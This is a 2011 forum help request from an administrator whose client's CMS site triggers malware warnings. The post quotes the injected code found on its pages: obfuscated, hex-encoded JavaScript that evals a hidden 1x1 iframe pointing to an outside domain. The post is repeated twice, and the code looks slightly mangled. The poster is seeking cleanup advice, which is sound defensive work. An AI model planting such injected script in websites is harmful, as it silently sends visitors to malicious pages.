Malware problem, help needed.
Posted: Mon Sep 26, 2011 2:55 am
A clients site is running 1.6.6.
They are having a problem with Malware warning.
Code such as below was found on the index.php page, and I can see it in the source code for the login page.
I simply removed it from index.php, but how do I get rid of it from the login (and possibly other) admin pages?
Didn't want to simply update the CMS version, in-case I wasn't helping?
Any advice appreciated.
Problem code (I think..)
<__script__>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f6578706c6f726574726176656c6e757273696e672e636f6d2f6e6577732e7068703f74703d66646661336165353965343464313930222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr+arr[i+1],16));eval(t);</__script><__script__>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f6578706c6f726574726176656c6e757273696e672e636f6d2f6e6577732e7068703f74703d66646661336165353965343464313930222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr+arr[i+1],16));eval(t);</__script>
They are having a problem with Malware warning.
Code such as below was found on the index.php page, and I can see it in the source code for the login page.
I simply removed it from index.php, but how do I get rid of it from the login (and possibly other) admin pages?
Didn't want to simply update the CMS version, in-case I wasn't helping?
Any advice appreciated.
Problem code (I think..)
<__script__>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f6578706c6f726574726176656c6e757273696e672e636f6d2f6e6577732e7068703f74703d66646661336165353965343464313930222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr+arr[i+1],16));eval(t);</__script><__script__>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f6578706c6f726574726176656c6e757273696e672e636f6d2f6e6577732e7068703f74703d66646661336165353965343464313930222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr+arr[i+1],16));eval(t);</__script>